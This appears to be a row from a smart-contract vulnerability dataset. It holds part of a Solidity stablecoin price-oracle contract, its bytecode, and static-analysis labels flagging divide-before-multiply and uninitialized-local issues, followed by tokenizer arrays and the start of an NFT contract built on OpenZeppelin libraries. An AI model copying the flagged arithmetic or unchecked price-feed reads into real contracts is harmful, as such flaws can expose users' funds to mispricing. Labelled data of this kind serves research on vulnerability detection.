function _lpToUsd(uint256 inAmount) internal view returns (uint256) {
return inAmount.mul(curvePool.get_virtual_price()).div(DEFAULT_DECIMALS_FACTOR);
}
function _stableToUsd(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) {
uint256 lpAmount = curvePool.calc_token_amount(tokenAmounts, deposit);
return _lpToUsd(lpAmount);
}
function _stableToLp(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) {
return curvePool.calc_token_amount(tokenAmounts, deposit);
}
function _singleStableFromLp(uint256 inAmount, int128 i) internal view returns (uint256) {
uint256 result = curvePool.calc_withdraw_one_coin(inAmount, i);
return result;
}
function _usdToLp(uint256 inAmount) internal view returns (uint256) {
return inAmount.mul(DEFAULT_DECIMALS_FACTOR).div(curvePool.get_virtual_price());
}
function getPriceFeed(uint256 i) external view override returns (uint256) {
int256 _price;
(, _price, , ,) = AggregatorV3Interface(getAggregator(i)).latestRoundData();
return uint256(_price);
}
function getTokenRatios(uint256 i) private view returns (uint256[N_COINS] memory _ratios) {
int256[N_COINS] memory _prices;
(,_prices[0], , ,) = AggregatorV3Interface(getAggregator(0)).latestRoundData();
(,_prices[1], , ,) = AggregatorV3Interface(getAggregator(1)).latestRoundData();
(,_prices[2], , ,) = AggregatorV3Interface(getAggregator(2)).latestRoundData();
for (uint256 j = 0; j < N_COINS; j++) {
if (i == j) {
_ratios[i] = CHAINLINK_PRICE_DECIMAL_FACTOR;
} else {
_ratios[j] = uint256(_prices[i]).mul(CHAINLINK_PRICE_DECIMAL_FACTOR).div(uint256(_prices[j]));
}
}
return _ratios;
}
function getAggregator(uint256 index) private view returns (address) {
require(index < N_COINS, 'getAggregator: !index < N_COINS');
if (index == 0) {
return daiUsdAgg;
} else if (index == 1) {
return usdcUsdAgg;
} else {
return usdtUsdAgg;
}
}
function abs(int256 x) private pure returns (uint256) {
return x >= 0 ? uint256(x) : uint256(-x);
}
function _updateRatios(uint256 tolerance) private returns (bool) {
uint256[N_COINS] memory chainRatios = getTokenRatios(0);
uint256[N_COINS] memory newRatios;
for (uint256 i = 1; i < N_COINS; i++) {
uint256 _ratio = curvePool.get_dy(int128(0), int128(i), getDecimal(0));
uint256 check = abs(int256(_ratio) - int256(chainRatios[i].div(CHAIN_FACTOR)));
if (check.mul(PERCENTAGE_DECIMAL_FACTOR).div(CURVE_RATIO_DECIMALS_FACTOR) > tolerance) {
return false;
} else {
newRatios[i - 1] = _ratio;
}
}
newRatios[N_COINS - 1] = newRatios[0].div(newRatios[1]);
for (uint256 i; i < N_COINS; i++) {
lastRatio[i] = newRatios[i];
}
emit LogNewRatios(newRatios);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106102535760003560e01c8063ae35980f11610146578063e25aa5fa116100c3578063ef2cfd1a11610087578063ef2cfd1a1461050e578063f2fde38b14610516578063f5a5299e1461053c578063f77c479114610544578063f91d443f1461054c578063fa3afdcf1461056957610253565b8063e25aa5fa146104d1578063e38ef15d146104d9578063e8ad4885146104e1578063e963f18f146104fe578063ea0d5c521461050657610253565b8063c5008f461161010a578063c5008f4614610494578063c54e44eb1461049c578063cc2a2c23146104a4578063e0501ecf146104c1578063e0bab4c4146104c957610253565b8063ae35980f14610439578063ae70b98a1461045f578063aff1d8e514610467578063b62179801461046f578063c1419def1461048c57610253565b806365b68d51116101d4578063884d981211610198578063884d9812146103d857806389a30271146103fb5780638da5cb5b14610403578063907064251461040b57806392eefe9b1461041357610253565b806365b68d511461039357806366c2bdcf1461039b5780636f923e73146103be578063715018a6146103c65780637ffc945c146103d057610253565b8063218751b21161021b578063218751b21461031e578063250108f614610342578063286a90d41461034a5780632935775014610352578063538ef7e11461037057610253565b806303e6f5cc146102585780630cf9b5041461028757806310a2862a146102a457806317497176146102ca57806319e4099314610302575b600080fd5b6102756004803603602081101561026e57600080fd5b5035610571565b60408051918252519081900360200190f35b6102756004803603602081101561029d57600080fd5b5035610584565b610275600480360360408110156102ba57600080fd5b5080359060200135600f0b610596565b6102e7600480360360208110156102e057600080fd5b50356105b3565b60408051921515835260208301919091528051918290030190f35b61030a610716565b604080519115158252519081900360200190f35b61032661078a565b604080516001600160a01b039092168252519081900360200190f35b6102756107ae565b6103266107b5565b61035a6107d9565b6040805160ff9092168252519081900360200190f35b6102756004803603608081101561038657600080fd5b50606081013515156107de565b61030a610814565b610275600480360360808110156103b157600080fd5b50606081013515156108a9565b61035a6108df565b6103ce6108e4565b005b610275610986565b610275600480360360408110156103ee57600080fd5b50803590602001356109aa565b6103266109d9565b6103266109fd565b61035a610a0c565b6103ce6004803603602081101561042957600080fd5b50356001600160a01b0316610a11565b6102756004803603604081101561044f57600080fd5b5080359060200135600f0b610b0b565b610275610b17565b61030a610b1d565b61030a6004803603602081101561048557600080fd5b5035610d21565b610275610d99565b61035a610dbd565b610326610dc2565b6103ce600480360360208110156104ba57600080fd5b5035610de6565b610275610e85565b610326610e8a565b610275610eae565b610275610f09565b610275600480360360208110156104f757600080fd5b5035610f0f565b610275610f1a565b610275610f22565b610275610f2e565b6103ce6004803603602081101561052c57600080fd5b50356001600160a01b0316610f52565b61032661104a565b61032661106e565b6102756004803603602081101561056257600080fd5b503561107d565b6103266110f7565b600061057c8261111b565b90505b919050565b60036020526000908152604090205481565b60006105aa6105a4846111b7565b83611253565b90505b92915050565b6000806105be611bf4565b60008060005b60038110156106af5760007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b0316634903b0d1836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561063357600080fd5b505afa158015610647573d6000803e3d6000fd5b505050506040513d602081101561065d57600080fd5b5051905061068661066d836112f9565b670de0b6b3a76400008161067d57fe5b8391900461137e565b905061069284826113d7565b9350808583600381106106a157fe5b6020020152506001016105c4565b5060005b6003811015610704576106e3836106dd6127108785600381106106d257fe5b60200201519061137e565b90611431565b9150868210156106fc5760009550935061071192505050565b6001016106b3565b5060019450600393505050505b915091565b6000610720611473565b6001600160a01b0316635c975abb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d602081101561078257600080fd5b505190505b90565b7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c781565b620f424081565b7f0000000000000000000000003e7d1eab13ad0104d2750b8863b489d65364e32d81565b600381565b60006105aa8360038060200260405190810160405280929190826003602002808284376000920191909152508591506114d89050565b6001546000906001600160a01b031633148061084857506108336109fd565b6001600160a01b0316336001600160a01b0316145b610899576040805162461bcd60e51b815260206004820152601960248201527f757064617465526174696f733a2021617574686f72697a656400000000000000604482015290519081900360640190fd5b6108a46002546115a5565b905090565b60006105aa8360038060200260405190810160405280929190826003602002808284376000920191909152508591506117ac9050565b600881565b6108ec611873565b6000546001600160a01b0390811691161461093c576040805162461bcd60e51b81526020600482018190526024820152600080516020611c80833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b60006109b4611bf4565b838184600381106109c157fe5b60200201526109d18160016114d8565b949350505050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6000546001600160a01b031690565b600481565b610a19611873565b6000546001600160a01b03908116911614610a69576040805162461bcd60e51b81526020600482018190526024820152600080516020611c80833981519152604482015290519081900360640190fd5b6001600160a01b038116610ab9576040805162461bcd60e51b81526020600482015260126024820152710e6cae886dedce8e4ded8d8cae474404260f60731b604482015290519081900360640190fd5b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f7bd9aab74fc8b860dff8328bda449632993abb9bd61340154740618a3debeb8990600090a35050565b60006105aa8383611253565b61271081565b6040805160028082526060808301845260009390929190602083019080368337019050509050600060015b6003811015610c78577f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b0316635e0d443f600083610b8d60006112f9565b6040518463ffffffff1660e01b81526004018084600f0b815260200183600f0b8152602001828152602001935050505060206040518083038186803b158015610bd557600080fd5b505afa158015610be9573d6000803e3d6000fd5b505050506040513d6020811015610bff57600080fd5b50518351909250829084906000198401908110610c1857fe5b602002602001018181525050610c4560036000600184038152602001908152602001600020548303611877565b600254909250610c5e620f42406106dd8561271061137e565b1115610c705760009350505050610787565b600101610b48565b50600260005260036020527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d548251610cee9190610ce89085906001908110610cbd57fe5b602002602001015185600081518110610cd257fe5b602002602001015161143190919063ffffffff16565b03611877565b600254909150610d07620f42406106dd8461271061137e565b1115610d1857600092505050610787565b60019250505090565b6001546000906001600160a01b0316331480610d555750610d406109fd565b6001600160a01b0316336001600160a01b0316145b610d905760405162461bcd60e51b8152600401808060200182810382526026815260200180611c136026913960400191505060405180910390fd5b61057c826115a5565b7f00000000000000000000000000000000000000000000000000000000000f424081565b601281565b7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b610dee611873565b6000546001600160a01b03908116911614610e3e576040805162461bcd60e51b81526020600482018190526024820152600080516020611c80833981519152604482015290519081900360640190fd5b6002805490829055604080518281526020810184905281517fa5dc6720c045d271d043cfd479ba542347af47c7b155c347092938a3e05fe513929181900390910190a15050565b600681565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b60007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b60025481565b600061057c826111b7565b6305f5e10081565b670de0b6b3a764000081565b7f00000000000000000000000000000000000000000000000000000000000f424081565b610f5a611873565b6000546001600160a01b03908116911614610faa576040805162461bcd60e51b81526020600482018190526024820152600080516020611c80833981519152604482015290519081900360640190fd5b6001600160a01b038116610fef5760405162461bcd60e51b8152600401808060200182810382526026815260200180611c396026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f0000000000000000000000008fffffd4afb6115b954bd326cbe7b4ba576818f681565b6001546001600160a01b031681565b6000806110898361188e565b6001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156110c157600080fd5b505afa1580156110d5573d6000803e3d6000fd5b505050506040513d60a08110156110eb57600080fd5b50602001519392505050565b7f000000000000000000000000aed0c38402a5d19df6e4c03f4e2dced6e29c1ee981565b600061057c601260ff16600a0a6106dd7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561118457600080fd5b505afa158015611198573d6000803e3d6000fd5b505050506040513d60208110156111ae57600080fd5b5051859061137e565b600061057c7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561121557600080fd5b505afa158015611229573d6000803e3d6000fd5b505050506040513d602081101561123f57600080fd5b50516106dd84670de0b6b3a764000061137e565b6000807f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663cc2b27d785856040518363ffffffff1660e01b81526004018083815260200182600f0b81526020019250505060206040518083038186803b1580156112c557600080fd5b505afa1580156112d9573d6000803e3d6000fd5b505050506040513d60208110156112ef57600080fd5b5051949350505050565b60008161132757507f0000000000000000000000000000000000000000000000000de0b6b3a764000061057f565b816001141561135757507f00000000000000000000000000000000000000000000000000000000000f424061057f565b507f00000000000000000000000000000000000000000000000000000000000f424061057f565b60008261138d575060006105ad565b8282028284828161139a57fe5b04146105aa5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c5f6021913960400191505060405180910390fd5b6000828201838110156105aa576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006105aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611968565b6001546000906001600160a01b03166114c8576040805162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9bdb1b195c881b9bdd081cd95d60721b604482015290519081900360640190fd5b506001546001600160a01b031690565b6000807f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b0316633883e11985856040518363ffffffff1660e01b81526004018083600360200280838360005b8381101561154357818101518382015260200161152b565b5050505090500182151581526020019250505060206040518083038186803b15801561156e57600080fd5b505afa158015611582573d6000803e3d6000fd5b505050506040513d602081101561159857600080fd5b505190506109d18161111b565b60006115af611bf4565b6115b96000611a0a565b90506115c3611bf4565b60015b60038110156116f45760007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b0316635e0d443f60008461160d60006112f9565b6040518463ffffffff1660e01b81526004018084600f0b815260200183600f0b8152602001828152602001935050505060206040518083038186803b15801561165557600080fd5b505afa158015611669573d6000803e3d6000fd5b505050506040513d602081101561167f57600080fd5b5051905060006116ab6116a4606487866003811061169957fe5b602002015190611431565b8303611877565b9050866116c1620f42406106dd8461271061137e565b11156116d55760009550505050505061057f565b818460018503600381106116e557fe5b602002015250506001016115c6565b50602081015161170690826000611699565b604082015260005b60038110156117455781816003811061172357fe5b602090810291909101516000838152600390925260409091205560010161170e565b507f996f0896b18d1c257d4f2bd31d7bbf0c90ce5a136c4d86c7818d026f03d351a3816040518082600360200280838360005b83811015611790578181015183820152602001611778565b5050505090500191505060405180910390a15060019392505050565b604051633883e11960e01b81526000906001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71690633883e1199085908590600401808360608083838b5b838110156118155781810151838201526020016117fd565b5050505090500182151581526020019250505060206040518083038186803b15801561184057600080fd5b505afa158015611854573d6000803e3d6000fd5b505050506040513d602081101561186a57600080fd5b50519392505050565b3390565b60008082121561188a578160000361057c565b5090565b6000600382106118e5576040805162461bcd60e51b815260206004820152601f60248201527f67657441676772656761746f723a2021696e646578203c204e5f434f494e5300604482015290519081900360640190fd5b8161191157507f000000000000000000000000aed0c38402a5d19df6e4c03f4e2dced6e29c1ee961057f565b816001141561194157507f0000000000000000000000008fffffd4afb6115b954bd326cbe7b4ba576818f661057f565b507f0000000000000000000000003e7d1eab13ad0104d2750b8863b489d65364e32d61057f565b600081836119f45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119b95781810151838201526020016119a1565b50505050905090810190601f1680156119e65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a0057fe5b0495945050505050565b611a12611bf4565b611a1a611bf4565b611a24600061188e565b6001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611a5c57600080fd5b505afa158015611a70573d6000803e3d6000fd5b505050506040513d60a0811015611a8657600080fd5b50602001518152611a97600161188e565b6001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611acf57600080fd5b505afa158015611ae3573d6000803e3d6000fd5b505050506040513d60a0811015611af957600080fd5b50602001518160016020020152611b10600261188e565b6001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611b4857600080fd5b505afa158015611b5c573d6000803e3d6000fd5b505050506040513d60a0811015611b7257600080fd5b5060200151604082015260005b6003811015611bed5780841415611bab576305f5e100838560038110611ba157fe5b6020020152611be5565b611bd3828260038110611bba57fe5b60200201516106dd6305f5e1008588600381106106d257fe5b838260038110611bdf57fe5b60200201525b600101611b7f565b5050919050565b6040518060600160405280600390602082028036833750919291505056fe757064617465526174696f7357697468546f6c6572616e63653a2021617574686f72697a65644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220d650982ba88c2f09e32ed561f94433a65b46b30e91ad04b01d412dcbdc59e4c264736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
20952,
2509,
2063,
17914,
2692,
2546,
2692,
21084,
2683,
2278,
2475,
2094,
2692,
2497,
17134,
2692,
2278,
11387,
2575,
10322,
27009,
2581,
2094,
22610,
22275,
2620,
2581,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
2615,
2509,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,456 | 0x952e15216ce4a1b1670c2e85ff0b68146d5d64e3 | //*********************************************************************//
//*********************************************************************//
//
//
// 8888888b. d8888 888b d888 8888888b. 8888888b.
// 888 Y88b d88888 8888b d8888 888 Y88b 888 Y88b
// 888 888 d88P888 88888b.d88888 888 888 888 888
// 888 d88P d88P 888 888Y88888P888 888 d88P 888 d88P
// 8888888P" d88P 888 888 Y888P 888 8888888P" 8888888P"
// 888 T88b d88P 888 888 Y8P 888 888 888
// 888 T88b d8888888888 888 " 888 888 888
// 888 T88b d88P 888 888 888 888 888
// v2.0.0
//
//
// This project and smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT projects without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Twitter: @RamppDAO ---- rampp.xyz
//
//*********************************************************************//
//*********************************************************************//
//-------------DEPENDENCIES--------------------------//
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if account is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, isContract will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on isContract to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's transfer: sends amount wei to
* recipient, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by transfer, making them unable to receive funds via
* transfer. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to recipient, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level call. A
* plain call is an unsafe replacement for a function call: use this
* function instead.
*
* If target reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode].
*
* Requirements:
*
* - target must be a contract.
* - calling target with data must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with
* errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but also transferring value wei to target.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least value.
* - the called Solidity function must be payable.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but
* with errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom}
* by operator from from, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with IERC721.onERC721Received.selector.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
